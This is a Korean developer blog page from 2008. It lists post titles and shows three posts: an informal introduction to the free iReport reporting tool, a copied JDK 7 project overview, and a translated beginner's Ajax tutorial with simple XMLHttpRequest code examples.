'분류 전체보기'에 해당되는 글 2491건

  1. 2008.07.26 순수자바기반 무료레포팅툴 iReport
  2. 2008.07.26 JDK 7 Project
  3. 2008.07.26 Ajax 마스터하기, Part 1:Ajax 소개
  4. 2008.07.25 휴지통복구프로그램
  5. 2008.07.25 개발시 유용한 글 모음
  6. 2008.07.25 꼭 봐야하는 것들...
  7. 2008.07.25 MS Window에서 CVS(2.0.58d)설치후 eclipse와 연동하기
  8. 2008.07.25 JSTL 기초, Part 2: core 분석 (한글)
  9. 2008.07.25 JSTL 기초, Part 1: Expression Language (한글)
  10. 2008.07.25 prototype.js를 위한 개발자 노트
  11. 2008.07.25 Prototype.js를 제대로 사용하는 방법
  12. 2008.07.25 빠른 시간내 Prototype을 사용하기 위한 가이드 문서
  13. 2008.07.25 <JDBC 연결을 위한 DB서버 정보 세팅>
  14. 2008.07.25 Hibernate 첫 번째 예제 - 튜토리얼
  15. 2008.07.24 Mozilla Developer Center contents
  16. 2008.07.24 자바로 썸네일 빈즈를
  17. 2008.07.24 IWebMvc Milestone 3 releasedDomainDemoProject
  18. 2008.07.24 IWebMvc 설치해보기DomainDemoProject
  19. 2008.07.24 mstsc에서 ctrl+alt+del키 보내기
  20. 2008.07.24 [시큐리티 팁!팁!팁!] OpenVPN을 이용한 VPN 구현
  21. 2008.07.24 [보안메일보내기] AnySend SecureMailViewer
  22. 2008.07.24 웹서버를 경유한 DB서버 해킹
  23. 2008.07.24 현재 웹페이지의 URL의 유효성 확인
  24. 2008.07.24 Ethereal 고수가 되자
  25. 2008.07.24 Network 강좌
  26. 2008.07.24 TCP Port Number List
  27. 2008.07.24 javascript 페이지이동명령어의 차이점
  28. 2008.07.24 [oracle] oracle system password변경하기
  29. 2008.07.24 [oracle] 오라클 보안
  30. 2008.07.24 lighttpd (윈도우용)
01.JAVA/Java2008. 7. 26. 16:59
반응형
순수자바기반 무료레포팅툴 iReport
2008.05.05 18:31
http://tong.nate.com/lhs0806/44879819 iReport 개발자 매뉴얼.part1.rar
iReport 개발자 매뉴얼.part2.rar
JasperReports_개발자_매뉴얼-rokmc7980304.pdf
ireport를 살짝 소개합니다. | 자유로운글
 
안녕하세요...
원래 듬직한 몸뚱아리였으나...(췌)
IT에 발들이고 나서
D라인의 환상 몸매를 갖게 된 쿠쿠입니다...(췌)
 
리포트 툴 하나 간단히 소개 할까 해서 ...
(파는거 아니에요 ㅡ,.ㅡ)
보통 리포트 툴이 꽤 비싸다는 것을 다들 아실꺼에요...
(싸게는 수백에서... 비싸게는 수천까지...)
하지만
iReport라는 이 툴은 무료입니다..
-_-v
엑셀, pdf, http 다양한 출력이 가능하지요...(사실 http는 보기가 어려워요... 꾸져 췌)
그래도 공짜니까....흠...
 
설치방법이나 소스 자체는 오픈이라 네이버에서
ireport만 치셔도 많이 나오구요..
전 그냥 간단한 소개만 할께요 ^^
 
우선 이것이 첫 화면입니다...


쿠쿠
투박한 녀석...
까만 부분은 저희 프로젝트의 DBCon이름인데...
티나서 ㅡ,.ㅡ
이해해주시길 믿습니다...
 
 요렇게 Report Wizard를 누르시고

 

검은 부분에서 DB선택하신후 그 아래 SQL query부분에 쿼리를 직접 쓰거나 쿼리 파일을 로드 해주십니다...


이렇게...

모자이크 처리 미숙이 돋보입니다..

ㅡ_ㅡ;;;

흠흠...

여하튼 넥스트...



자 그러면 자동으로 column을 만들어 주고,

>> 요 버튼으로 한번에 보내던지 >버튼으로 하나씩 보내고 필요없는 애를 빼던지

할 수 있습니다...

다음단계는 Gruop by를 어떤 컬럼으로 할 것인가

체크하는 부분이고 5개까지의 컬럼으로 group by할 수 있습니다.

(더 많았는지는 해보질 않아서 모르겠습니다... ㅡ,.ㅡ)


Layout은 화면을 어떤 모양으로 출력해 줄것인가 하는 부분이라서

이것 저것 눌러보고 예쁜 걸로 하세요...

물론 가로 세로도 가능하고요...


물론 변수를 받을 수도 있구요....

리포트 안에 subreport를 넣어서 멋진 모양들도 만들 수 있답니다...

챠트도 넣을 수 있다고 하는데...

전 안해봐서 ^^;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


그리하여 나오는 화면은 대충 이렇습니다...


 
이 넘은
JAVA기반이고
jrml 파일을 컴파일하면 jasper라는 파일이 생깁니다.
이 jasper파일을 서버에 올리시고
변수를 넣어서 call하시면 바로 위 화면이 짜잔 하고 나타나서
사용하시면 됩니다....^^
 
완전 후다닥
정리해서 제대로 설명이 되지도 않았네요...
혹시 나중에 시간이 되면 더 예쁘게 잘 정리해보도록 하겠습니다...
 
나만 그런지 모르겠지만...
전 문서 정리가 제일 싫어요 ㅠㅠ
Posted by 1010
01.JAVA/Java2008. 7. 26. 16:57
반응형
가까운 자바의 미래 JDK 7 Project
2007.11.28 01:25
http://tong.nate.com/lhs0806/42082612 java-se-7-EclipseCon-2007.pdf
Java7Overview_Prague_JUG.pdf
2101.pdf

jdk7 프로젝트 홈


귀하가 등록된 상태와 로그인 된 상태이셨다면 귀하는 프로젝트에 참여하실 수 있습니다.

요약 JDK 7 Snapshot Releases
카테고리 없음
라이센스 Java Research License (JRL)
소유자 bcbeck, mreinhold, peterkessler
JDK 7 Project
Building the next generation of Java SE platform
download it
Download it
use it
Use it
improve it
Improve it
openjdk
Open Source
NetBeans
Download NetBeans

Sun is releasing weekly early access snapshots of the complete source, binaries and documentation for JDK 7. These snapshot releases let you review and contribute to the Java SE platform as it is being developed.

Download JDK 7

 
  • Latest JDK 7 binary snapshots
  • Latest JDK 7 source snapshots
  • Latest JDK 7 Java Docs
  • Summary of changes in JDK 7
  • We Want Contributions!

    Frustrated with a bug that never got fixed? Have a great idea for improving the Java SE platform? See How to Collaborate for information on making contributions to the platform.

    News

     
    • The openjdk project is now available shipping HotSpot, javac and JavaHelp as the initially available open source components.
    • The JDK 7 project opens for business at https://jdk7.dev.java.net/. But you knew that already.  [August 15 2006]

    Feedback

    Please use the Project Feedback forum if you have suggestions for or encounter issues with using the JDK 7 snapshots.

    If you find bugs in a snapshot release, please submit them using the usual Java SE bug reporting channels, not with the Issue tracker accompanying this project. Be sure to include complete version information from the output of the  java -version command.




    코멘트
    이제 좀있다 7 도 나오네..


    Posted by 1010
    06.Ajax2008. 7. 26. 16:54
    반응형

    Ajax 마스터하기, Part 1: Ajax 소개

    웹 사이트를 구현하는 생선적인 방식인 Ajax 이해하기

    developerWorks
    문서 옵션
    수평출력으로 설정

    이 페이지 출력

    이 페이지를 이메일로 보내기

    이 페이지를 이메일로 보내기

    토론

    
    제안 및 의견
    피드백

    난이도 : 초급

    Brett McLaughlin, Author and Editor, O'Reilly Media Inc.

    2006 년 5 월 29 일
    2006 년 5 월 29 일 수정

    HTML, JavaScript™, DHTML, DOM으로 구성된 Ajax는 볼품없는 웹 인터페이스를 인터랙티브 Ajax 애플리케이션으로 변형하는 획기적인 방식이다. Ajax 전문가인 필자는 이러한 기술들이 어떻게 작용하는지 전체적인 개요를 비롯하여 세부사항 까지 설명한다. 또한 XMLHttpRequest 객체 같은 Ajax의 중심적인 개념들을 소개한다.

    5년 전, XML에 대해 무지했다면 아무도 얘기할 상대가 없는 미운 오리 새끼 신세가 되었을지도 모르겠다. Ruby 프로그램이 주목을 받았던 8개월 전, Ruby 프로그램 언어 기능에 대해 알지 못했던 프로그래머들은 냉수기 관련 산업세계에서 환영 받지 못했다. 그런 것처럼, 최신 기술단계로 입문하고자 한다면 Ajax에 대해 알아야 한다.

    하지만 Ajax는 일시적으로 유행하는 툴이 아니다. 웹 사이트를 구축하는 강력한 방식이며 완전히 새로운 언어를 배우는 것보다는 그다지 어렵지 않다.

    Ajax에 관해 자세히 들어가기 전에 잠시 Ajax의 기능에 대해 알아보자. 오늘날 애플리케이션을 작성할 시 두 가지 애플리케이션이 있다.

    • 데스크톱 애플리케이션
    • 웹 애플리케이션

    두 애플리케이션은 다 친숙한 것들이다. 일반적으로 데스크톱 애플리케이션은 CD상에 배치된 다음 (또는 웹 사이트에서 다운로드) 컴퓨터에 완전 설치된다. 이 애플리케이션은 인터넷을 이용해 업데이트를 다운로드하기도 하지만 애플리케이션 실행 코드는 데스크톱 상에 상주해 있다. 전혀 새로운 것이 아닌 웹 애플리케이션은 웹 서버 상에서 실행되며 웹 브라우저 상에서 접속된다.

    하지만 두 애플리케이션에 대한 코드 실행 위치보다 애플리케이션 작동방식 및 애플리케이션과 사용자와의 상호작용방식이 중요하다. 일반적으로 데스크톱 애플리케이션은 상당히 빠르고 (컴퓨터 상에서 실행되고 인터넷 상에서 대기 중인 상태가 안 나온다.), 대형 사용자 인터페이스(일반적으로 운영체제와 상호작용)를 갖추며 상당히 동적이다. 거의 대기시간 없이 메뉴 및 하위 메뉴를 클릭, 지시, 입력하고 풀업한다.

    반면 웹 애플리케이션은 가장 최신 것이며 데스크톱에서는 전혀 얻을 수 없는 서비스를 제공한다.(Amazon.com 및 eBay를 생각해 볼 것.) 하지만 웹 애플리케이션 기능으로 인해 서버 응답 대기, 스크린 재생 대기, Request 컴백 및 새 페이지 생성에 관한 대기 기능 등이 부수된다.

    분명 지나친 단순화 과정임에는 틀림없지만 기본 개념은 얻게 된다. 이미 눈치를 챘겠지만 Ajax는 데스크톱 애플리케이션 및 항상 업데이트 되는 웹 애플리케이션의 기능 및 상호작용 간의 차이를 줄여주는 역할을 한다. 여러분은 마치 데스크톱 애플리케이션에서 찾은 것처럼 동적 사용자 인터페이스 및 가상 제어기능을 사용한다. 하지만 웹 애플리케이션 상에서 데스크톱 애플리케이션을 이용할 수 있다. 그러면 대기 중인 것이 무엇인가? Ajax 및 볼품없는 웹 인터페이스가 응답 Ajax 애플리케이션으로 변환되는 과정에 대해 살펴보기로 하자.

    그러면 대기 중인 것이 무엇인가? Ajax 및 볼품없는 웹 인터페이스가 응답 Ajax 애플리케이션으로 변환되는 과정에 대해 살펴보기로 하자.

    오래된 기술, 새로운 기법

    Ajax에 관해 살펴보면 Ajax는 실지로 많은 기술들이 응집되어 있다. Ajax의 기본을 마치고 넘어가려면 몇 가지 다른 기술들(필자는 첫 번째 이 시리즈에서 각각의 기술에 관해 설명할 것이다.)을 면밀히 살펴보아야 한다. 하지만 이들 기술 가운데 어느 정도 알고 있는 것이 많은 건 다행이다. 더군다나 각각의 기술 대부분은 Java/Ruby같은 프로그래밍 언어만큼 어려운 게 아니라서 배우기 쉽다.

    Ajax 정의

    Ajax는 비동기 JavaScript 및 XML의 약어이다.(DHTML도 마찬가지다.) Adaptive Path사의 Jesse James Garrett이 이 약어를 만들어냈으며(참고자료), Jesse에 따르면 이 약어는 두문자어는 아니라고 한다.

    Ajax 애플리케이션에 포함된 기본기술은 다음과 같다.

    • 웹 양식을 구축하고 애플리케이션 완료 때까지 사용되는 필드를 식별하는 데 HTML을 사용한다.
    • 자바 스크립트 코드는 Ajax 애플리케이션을 실행하는 중심 코드며 서버 애플리케이션과의 커뮤니케이션을 용이하게 한다.
    • DHTML(동적 HTML)은 웹 양식을 동적으로 업데이트 한다. div, span및 기타 동적 HTML 요소를 사용해 HTML을 마크업 한다.
    • 서버에서 복귀된 HTML 및 (때로) XML 구조를 다루는 데 있어 DOM, 즉 문서 객체 모델(Document Object Model)을 사용한다.

    이 기술들에 대해 간략히 요약하고 각 기술의 기능에 대해 좀 더 알아보기로 하는데 각 기술에 관한 자세한 사항은 차후 글에서 다룰 것이다. 우선은 Ajax의 구성요소 및 기술에 대해 친숙해 지는 데 초점을 맞추기로 한다. 자바 스크립트에 익숙할수록 Ajax에 담긴 기술에 관한 일반적인 지식 단계에서 각 기술에 관한 자세한 지식으로 넘어가는 게 더 쉬워진다.(또한 이로 인해 웹 애플리케이션 개발에 관한 문이 열리게 된다.)

    XMLHttpRequest 객체

    알고자 하는 객체 중 첫 번째는 아마도 가장 생소한 것이 아닌가 싶다. 그 객체는 일명 XMLHttpRequest인데 자바 스크립트 객체의 일종이며 Listing 1에 나와 있는 것처럼 단순하게 생성된다.


    Listing 1. 새로운 XMLHttpRequest 객체 생성
                    
    <script language="javascript" type="text/javascript">
    var xmlHttp = new XMLHttpRequest();
    </script>
    

    필자는 다음 글에서 이 객체에 대해 더 논의할 것이다. 하지만 지금 상태에서는 모든 서버 커뮤니케이션을 다루는 객체라는 사실만 알아둔다. 다음 사항으로 가기 전에 잠깐 생각해 보면 자바 스크립트 객체는 XMLHttpRequest를 통해 서버에 전달하는 자바 스크립트 기술의 일종이다. 이 객체는 애플리케이션 흐름이 정상적이지 않으며 Ajax 기술의 많은 부분을 차지하고 있다.

    정상적인 웹 애플리케이션에서 사용자는 양식 필드를 기입하며 제출 버튼을 클릭한다. 그러면 전 양식을 서버에 보내며 서버는 처리과정을 통해 양식을 스크립트(일반적으로 PHP, 자바 또는 CGI 과정/이와 유사한 과정)에 전송한다. 스크립트를 실행할 때 스트립트를 통해 완전히 새로운 페이지가 전송된다. 그 페이지는 데이터가 작성된 새로운 양식의 HTML/확인 페이지 또는 원 양식에 기입된 데이터에 근거해 선택된 옵션이 포함된 페이지일 수 있다. 물론, 서버 상의 스크립트/프로그램이 처리되면서 새로운 양식을 다시 보내는 동안 사용자는 대기해야 한다. 서버로부터 데이터를 다시 받을 때까지는 스크린 상에 아무 것도 없게 되며 결국 대화성은 낮게 된다. 사용자는 즉각적으로 응답을 받지 못하며 데스크톱 애플리케이션 상에서 작업하는 기분이 들지 않게 된다.

    Ajax는 근본적으로 자바 스크립트 기술 및 웹 양식 및 서버 간의 XMLHttpRequest 객체를 결합한다. 사용자가 웹 양식을 기입할 때 데이터는 직접 서버 스크립트에 전송되지 않고 자바 스크립트 코드에 전달된다. 대신 자바 스크립트 코드는 양식 데이터를 포착해 Request를 서버에 전송한다. 이 과정이 일어나는 동안, 사용자 스크린 상의 양식은 순식간에 나타나거나 깜빡이거나 사라지거나 정지하지 않는다. 즉 자바 스크립트 코드는 몰래 Request를 전송하며 사용자는 Request가 만들어졌는지도 알지 못한다. 게다가 Request를 비동기적으로 전송하기 때문에 더 좋은 상황이 된다. 이는 자바 스크립트에서 서버 응답을 그냥 대기하지 않는다는 것을 의미한다. 따라서, 사용자는 데이터를 계속 기입하고 화면이동하고 애플리케이션을 사용한다.

    그런 다음 서버는 자바 스크립트 코드(웹 양식에 대해 아직도 대기 중임)에 데이터를 다시 전송한다. 자바 스크립트 코드에서는 데이터와의 상호기능을 결정하며 연속적으로 양식 필드를 업데이트 하면서 애플리케이션에 즉각적인 응답을 준다. 결국 사용자는 양식을 제출/재생하는 작업 없이 새로운 데이터를 얻게 된다. 자바 스크립트 코드는 데이터를 얻고 계산도 수행하며 또 다른 Request를 전송하며 이런 모든 과정은 사용자 개입 없이도 된다! 이것이 바로 XMLHttpRequest 객체의 장점이다. XMLHttpRequest 객체는 서버와 같이 커뮤니케이션을 주고받고 사용자는 그 과정에서 벌어지는 과정을 알지 못한다. 이로 인해 데스크톱 애플리케이션과 마찬가지로 동적, 상호 반응적인 고도의 양방향 경험을 얻게 되지만 그 속에 인터넷의 모든 장점이 담겨 있다.

    자바 스크립트에 대한 부가사항

    일단 XMLHttpRequest에 대해 다루게 되면 나머지 자바 스크립트 코드는 상당히 평범한 것들이다. 사실 다음과 같은 기본적인 작업에 자바 스크립트 코드를 이용한다.

    • 양식 데이터 얻기: 자바 스크립트 코드로 HTML 양식에서 데이터를 꺼내 이를 서버에 전송하는 작업이 간단해진다.
    • 양식 상의 값 변환: 필드 값 설정에서 연속적인 이미지 교체작업에 이르는 양식 업데이트 작업 또한 간단하다.
    • HTML 및 XML 구문분석: 자바 스크립트 코드를 이용해 DOM(다음 섹션 참조)을 처리하고 서버에서 다시 전송하는 HTML 양식 및 임의의 XML 데이터에 관한 구조를 다루게 된다.

    첫 번째 두 항목에 대해서 여러분은 Listing 2에 나온 대로 getElementById()에 익숙해지려 할 것이다.


    Listing 2. 자바 스크립트 코드에서의 필드 값 포착 및 설정
                    
    // Get the value of the "phone" field and stuff it in a variable called phone
    var phone = document.getElementById("phone").value;
    
    // Set some values on a form using an array called response
    document.getElementById("order").value = response[0];
    document.getElementById("address").value = response[1];
    

    Ajax 애플리케이션에서 특별히 획기적인 사항은 없고 상기 사항 정도면 충분하다. 이에 대해 상당히 복잡한 건 없다는 사실을 깨달아야 한다. 일단 XMLHttpRequest만 정복하면 Ajax 애플리케이션에서 나머지는 대부분 Listing 2에 나온 바와 같이 상당히 독창적인 HTML과 결합된 단순 자바 스크립트 코드다. 그런 다음 가끔 약간의 DOM 작업이 발생하게 된다. 이에 관해 살펴 보자.

    DOM으로 종료하기

    DOM, 즉 문서 객체 모델이라는 것이 있는데 이는 아주 중요하다. DOM에 대해 듣는 것은 그다지 어렵지 않다고 하는 사람들이 있다. HTML 디자이너에 의해서는 종종 사용되지 않으며 하이-엔드 프로그래밍 작업으로 들어가지 않는 한은 JavaScript 코더에서 흔치 않은 것이 바로 DOM이다. 종종 과중-업무 Java 및 C/C++ 프로그램 상에서 DOM을 종종 많이 활용하게 된다. 사실은 DOM이 배우기 어려운 특성 때문에 명성이 자자해 그 프로그램 상에서 종종 사용하는 것이 아닌가 싶다.

    다행히도 JavaScript 기술에 있어 DOM을 활용하는 일은 쉽고 대부분 직관적이다. 이 시점에서 필자는 DOM 사용법에 관해 보여 주고 적어도 이에 대한 몇 가지 코드 예를 제시하려 하지만 이 글의 의도와는 벗어나는 것 같다. DOM에 관해 대략적으로 다루는 것 없이도 Ajax에 대해 깊이 다룰 수 있다. 필자는 차후의 글에서 다시 DOM에 관해 다루려 한다. 하지만 지금 상황에서는 언급하지 않으려 한다. JavaScript 코드와 서버 사이에 XML을 이리저리 전송하고 HTML 양식을 변화시킬 때 DOM에 대해 자세히 다루게 될 것이다. 지금은 DOM없이 효과적인 Ajax 애플리케이션을 작동하는 게 쉬우므로DOM은 논외로 한다.




    위로


    Request 객체 얻기

    Ajax 애플리케이션에 관한 기본적 개념에 대해 배웠으면 몇 가지 특수사항에 대해 살펴 보자. XMLHttpRequest 객체는 Ajax 애플리케이션에서 중요하므로, 아마도 많은 이들에게는 생소한 것일 수도 있다. 거기서 필자는 논의를 시작한다. Listing 1에서 보다시피, XMLHttpRequest 객체를 생성, 사용하는 것은 상당히 쉬워야 한다. 잠깐만 기다려 보시라.

    수년 동안 브라우저에 관한 논란은 끊이지 않았고 동일한 브라우저로는 아무 것도 얻을 수 없다는 사실을 기억하는가? 믿건 말건, 소규모 브라우저에서도 이와 같은 논쟁은 끊이지 않고 있다. 더군다나 놀라운 사실은 XMLHttpRequest가 이 논란의 희생양 중 하나라는 것이다. 따라서 XMLHttpRequest 객체를 작동시키기 위해선 몇 가지 다른 작업을 해야 한다. 단계별로 설명하겠다.

    Microsoft 브라우저 다루기

    Microsoft 브라우저, Internet Explorer는 XML을 다룰 시 MSXML 구문분석계를 사용한다.(참고자료) Internet Explorer 상에서 다뤄야 할 Ajax 애플리케이션을 작성할 시 독특한 방식으로 XMLHttpRequest 객체를 작성해야 한다.

    하지만 그렇게 간단한 작업은 아니다. Internet Explorer에 설치된 JavaScript 기술 버전에 따라 MSXML 버전도 변하게 되며 실지로 2개의 버전이 있다. 따라서 두 경우를 다루는 코드를 작성해야 한다. Microsoft 브라우저 상에서 XMLHttpRequest 객체를 생성하는 데 필요한 코드에 관해선 Listing 3을 보라.


    Listing 3. Microsoft 브라우저 상에서 XMLHttpRequest 객체 생성
                    
    var xmlHttp = false;
    try {
      xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (e2) {
        xmlHttp = false;
      }
    }
    

    모든 작업이 정확히 맞아떨어지는 것은 아니다. 하지만 그래도 상관없다. 이 시리즈가 끝나기 전에 JavaScript 프로그래밍, 에러 취급 및 조건부 번역 및 기타 사항에 관해 자세히 다루게 될 것이다. 지금 현 상태에서는 두 가지 중심 라인만 다루고자 한다.

    xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");

    and

    xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");.

    간단히 말해서, 이 코드로 MSXML의 한 버전을 이용해 XMLHttpRequest 객체 생성을 기한다. 하지만 객체가 생성되지 않는 경우 다른 버전을 사용해 XMLHttpRequest 객체를 생성한다. 두 코드 다 작동되지 않는 경우 xmlHttp 변수는 거짓으로 설정되고 작동되지 않는 것이 있다는 것을 코드에 알려 준다. 그럴 경우, 비-Microsoft 브라우저가 있을 가능성이 있다. 따라서 객체 생성을 위해선 다른 코드를 사용해야 한다.

    Mozilla 및 Microsoft 브라우저 다루기

    인터넷 브라우저를 선택하지 않거나 비-Microsoft 브라우저를 작성할 경우 다른 코드가 필요하다. 사실, 이 라인은 Listing 1에서 봤던 단순 코드라인이다.

    var xmlHttp = new XMLHttpRequest object;.

    이 단순한 라인으로 Mozilla, Firefox, Safari, Opera 및 임의의 양식/형태에서 Ajax애플리케이션을 지원하는 기타 비-Microsoft 브라우저에서 XMLHttpRequest 객체를 생성한다.

    지원기능 통합

    여기서 모든 브라우저를 지원하는 것이 중요하다. Internet Explorer/비-Microsoft 브라우저에서만 작동되는 애플리케이션을 작성하는 사람이 어디 있겠는가? 또한 더 심한 경우, 애플리케이션을 두 번 작성하고자 하는가? 물론 아니라고 믿는다. 따라서 코드에선 Internet Explorer 및 비-Microsoft 브라우저를 지원하는 기능이 포함되어야 한다. Listing 4에서는 다중-브라우저 방식으로 작동하는 코드에 대해 나와 있다.


    Listing 4. 다중 브라우저 방식으로 XMLHttpRequest 객체 생성하기
                    
    /* Create a new XMLHttpRequest object to talk to the Web server */
    var xmlHttp = false;
    /*@cc_on @*/
    /*@if (@_jscript_version >= 5)
    try {
      xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (e2) {
        xmlHttp = false;
      }
    }
    @end @*/
    
    if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {
      xmlHttp = new XMLHttpRequest();
    }
    

    지금 현재로선, 주석 및 @cc_on와 같은 어려운 태그를 무시한다. 이들은 다음 글에서 깊이 다룰 JavaScript 컴파일러 명령으로 오로지 XMLHttpRequest 객체 상에만 초점이 맞추어져 있다. 이 코드에 관한 핵심은 세 가지 과정으로 요약된다.

    1. 변수 xmlHttp를 생성해 앞으로 생성할 XMLHttpRequest 객체를 참조한다.
    2. Microsoft 브라우저에서의 객체를 시도, 생성한다.
      • Msxml2.XMLHTTP 객체를 사용해 XMLHttpRequest 객체를 시도, 생성한다.
      • 과정이 실패할 경우, Microsoft.XMLHTTP 객체를 사용해 XMLHttpRequest 객체를 시도, 생성한다.
    3. xmlHttp가 아직도 설정되지 않은 경우 비-Microsoft 방식으로 XMLHttpRequest 객체를 생성한다.

    위 과정 끝 단계 시 사용자가 실행하는 브라우저 종류에 관계없이 xmlHttp의 경우 유효한 XMLHttpRequest 객체를 인용한다.

    보안

    보안이란 무엇인가? 오늘날 브라우저는 사용자들에게 보안 레벨을 올리고 JavaScript 기술을 생성하며 브라우저 옵션을 해제하는 기능을 제공한다. 이 경우 코드가 작동되지 않는 경우도 있을 수 있다. 그 때 발생하는 문제를 적절하게 다뤄야 한다. 이에 관한 내용은 적어도 기사 한 분량을 차지할 정도라 나중에 다루기로 하겠다.(긴 시리즈가 될 것 같다, 그렇지 않은가? 하지만 걱정 마시라. 과정을 다 배우고 나면 이와 관련된 모든 사항을 숙달할 테니까.) 현재로선 강력하지만 완전하지 않은 코드를 작성하는 중이다. 이 코드는 Ajax 애플리케이션을 관리하는 데 좋다.




    위로


    Ajax 세계에서의 Request/Response

    인제 Ajax 애플리케이션에 대해 이해하고 XMLHttpRequest 객체 및 객체 생성에 관한 기본적인 개념을 얻는다. 자세히 읽다 보면 Ajax 애플리케이션은 웹 애플리케이션에 제출되는 HTML 양식보단 서버 상의 임의의 웹 애플리케이션에 대화하는 JavaScript 기술이라는 사실을 알게 된다.

    그러면 빠진 부분은 어떤 것인가? 실질적인 XMLHttpRequest 객체 사용법이다. 이 객체는 작성하는 각각의 Ajax 애플리케이션에서 일정 형태로 사용하는 중요 코드라 Ajax 애플리케이션이 포함된 기본 Request/응답 모델 모양을 통해 객체 사용법을 빨리 익힌다.

    Request 만들기

    새로운 XMLHttpRequest 객체가 있는 경우 이를 시험해 보자. 먼저 웹 페이지에서 호출하는 JavaScript 방법이 필요하다.(사용자가 텍스트에서 입력하거나 메뉴에서 옵션을 선택할 시와 같음.) 그 다음, 거의 모든 Ajax 애플리케이션에서의 동일한 기본 아웃라인을 따른다.

    1. 웹 양식으로부터 필요한 모든 데이터 얻기
    2. 연결할 URL 구축
    3. 서버 연결
    4. 서버 실행 종료 시 서버 실행 기능 설정
    5. Request 전송

    Listing 5는 위의 순서대로 5단계를 진행하는 Ajax 방법의 예에 관해 나와 있다.


    Listing 5. Ajax가 포함된 Request 만들기
                    
    function callServer() {
      // Get the city and state from the web form
      var city = document.getElementById("city").value;
      var state = document.getElementById("state").value;
      // Only go on if there are values for both fields
      if ((city == null) || (city == "")) return;
      if ((state == null) || (state == "")) return;
    
      // Build the URL to connect to
      var url = "/scripts/getZipCode.php?city=" + escape(city) + "&state=" + escape(state);
    
      // Open a connection to the server
      xmlHttp.open("GET", url, true);
    
      // Setup a function for the server to run when it's done
      xmlHttp.onreadystatechange = updatePage;
    
      // Send the request
      xmlHttp.send(null);
    }
    

    Ajax 코드에 관한 많은 것이 명백하다. Ajax 코드의 첫번째 비트는 몇 가지 양식 필드 값을 포착하는 기본 JavaScript 코드를 사용한다. 그런 다음 이 코드에서는 연결 최종 목적지로 PHP 스크립트를 설정한다.

    PHP 스크립트의 URL을 지정한 다음(양식에서 나온) 단순한 GET 매개변수를 이용해 이 URL에 도시 및 국가를 추가한다. 그 다음 연결하면 먼저 XMLHttpRequest 객체가 작동되는 것을 보게 된다. 연결방법은 연결 URL 뿐만 아니라, GET 매개변수에도 나와 있다. 최종 매개변수를 true로 설정한 경우, 이 매개변수에선 비동기식 연결(Ajax를 만든다.)을 요구한다. false로 설정한 경우엔 Request를 만들 시 서버 상에서 Ajax에서의 JavaScript 코드가 대기하고 응답을 받을 때 코드가 지속된다. 사용자는 최종 매개변수를 true로 설정하면서 서버에서 배경에 있는 Request를 처리하는 동안 사용자는 웹 양식(심지어는 기타 JavaScript 방식)을 여전히 사용한다.

    한편 xmlHttp(이것은 XMLHttpRequest 객체의 인스턴스라는 사실을 기억하라.)의 onreadystatechange 속성으로 서버 실행이 종료될 시(5분/5시간 내에 종료될 수 있음) 서버 기능을 명령한다. 이 코드는 서버 상에서 대기하지 않기 때문에 서버가 기능을 인식해 서버에 응답할 수 있도록 하는 게 필요하다. 이 경우 서버에서 Request를 처리하면서 종료 시 이른바 updatePage()라 불리는 특수 방법을 트리거한다.

    최종적으로 send() 코드를 0(null) 값으로 호출한다. 데이터를 추가해 이를 서버에 전송하므로 Request에는 추가해서 보낼 게 없다. 이렇게 되면 Request를 발송하고 서버는 서버에 요구된 기능을 실행한다.

    이 코드에서 나오는 것이 없는 경우, 코드가 상당히 간단하다는 것을 명심하라. 이 코드는 Ajax 애플리케이션의 비동기적 특성을 제외하고는 상당히 단순하다. 이 코드를 통해 복잡한 HTTP Request/응답 코드보다는 근사한 애플리케이션 및 인터페이스에 완전 초점을 맞추도록 한다는 사실을 여러분은 높게 평가할 것이다.

    Listing 5의 코드는 코드를 얻는 방법만큼이나 쉽다. 데이터는 단순 텍스트이고 Request URL의 일부로 포함된다. GET 매개변수는 더 복잡한 POST대신 Request를 전송한다. 여기에 덧붙일 XML/컨텐츠 헤더가 없고 Request 본체에 전송할 데이터도 없다. 이게 바로 Ajax 유토피아다.

    그렇다고 미리 겁먹지 마라. 시리즈가 계속될수록 문제는 더 복잡해진다. 그 때는 POST Request를 전송하는 방법, Request 헤더 및 컨텐츠 형식을 설정하는 방법, 메시지에 XML을 설정하는 방법 및 Request에 보안기능을 추가하는 방법을 배우게 되는데 배우는 목록만 해도 상당히 길다! 지금은 이런 어려운 주제에 대해 신경 쓰지 말자! 그냥 기본만 충실하게 익히면 Ajax 전체 툴을 구축하게 된다.

    응답 취급과정

    이제 서버 응답을 실지로 취급해야 한다. 이 시점에서는 정말로 두 가지 사항만 알면 된다.

    • xmlHttp.readyState 속성이 4와 같을 때까지는 어떤 작업도 해선 안 된다.
    • 서버는 xmlHttp.responseText 속성에 응답한다.

    2가지 항목 중 첫번째 항목인 준비 상태에 관해선 다음 글에서 대부분 다룰 것이다. 그 때는 HTTP Request 단계에 대해 알고 싶은 것 이상으로 배우게 된다. 지금 현재로선, xmlHttp.responseText 속성 값 4를 단순 점검하는 경우, 작업이 계속 진행된다.(다음 글에서 기대할 만한 사항이 나오게 된다.) 서버 응답을 얻기 위해 xmlHttp.readyState 속성을 사용하는 과정인 두 번째 항목은 쉽다. Listing 6Listing 5에서 전송된 값에 근거해 서버에서 호출하는 방법에 관한 예를 보여준다.


    Listing 6. 서버 응답 취급하기
                    
    function updatePage() {
      if (xmlHttp.readyState == 4) {
        var response = xmlHttp.responseText;
        document.getElementById("zipCode").value = response;
      }
    }
    

    다시 보면, xmlHttp.readyState 코드는 그리 어렵거나 복잡하지 않다. 이 코드는 서버에서 해당 준비 상태로의 호출을 대기하고 서버에서 다시 복귀되는 값(이 경우, 사용자 기입 도시 및 국가에 대한 ZIP 코드)을 사용해 또 다른 형태의 양식 필드를 설정한다. 그 결과, zipCode 필드는 ZIP 코드와 함께 갑자기 나타난다. 하지만 사용자는 버튼을 클릭해서는 안 된다! 그게 바로 이전에 말했던 데스크톱 애플리케이션이다. Ajax 코드에는 응답성, 동적 상태 외의 더 많은 것이 있다. 독자들은 zipCode가 정상 텍스트 필드라는 것을 눈치챘을지도 모른다.

